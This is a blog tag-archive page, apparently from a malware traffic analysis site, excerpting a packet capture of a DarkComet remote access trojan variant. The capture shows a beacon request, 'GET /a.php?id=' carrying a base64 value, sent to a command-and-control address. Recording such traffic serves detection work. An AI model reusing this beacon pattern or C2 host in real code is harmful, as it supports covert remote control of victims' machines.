Tag Archives: Darkcomet RAT – Remote Access Trojan Variant GET /a.php?id=

Darkcomet RAT – Remote Access Trojan Variant GET /a.php?id=

E..0.;@………@.+..*.P..`$….p…………… 2013-02-03 22:49:45.139070 IP 64.235.43.131.80 > 172.16.253.130.1066: Flags [S.], seq 1557609149, ack 2358992933, win 64240, options [mss 1460], length 0 E..,[J……@.+……P.*\.:…`%`….T…….. 2013-02-03 22:49:45.139138 IP 172.16.253.130.1066 > 64.235.43.131.80: Flags [.], ack 1, win 64240, length 0 E..(. 64.235.43.131.80: Flags [P.], seq 1:73, ack 1, win 64240, length 72 E..p.=@….I….@.+..*.P..`%\.:.P…Q…GET /a.php?id=c2ViYWxpQGxpYmVyby5pdA== HTTP/1.1 Host: 64.235.43.131 2013-02-03 22:49:45.139579 IP… Read More »

Share Button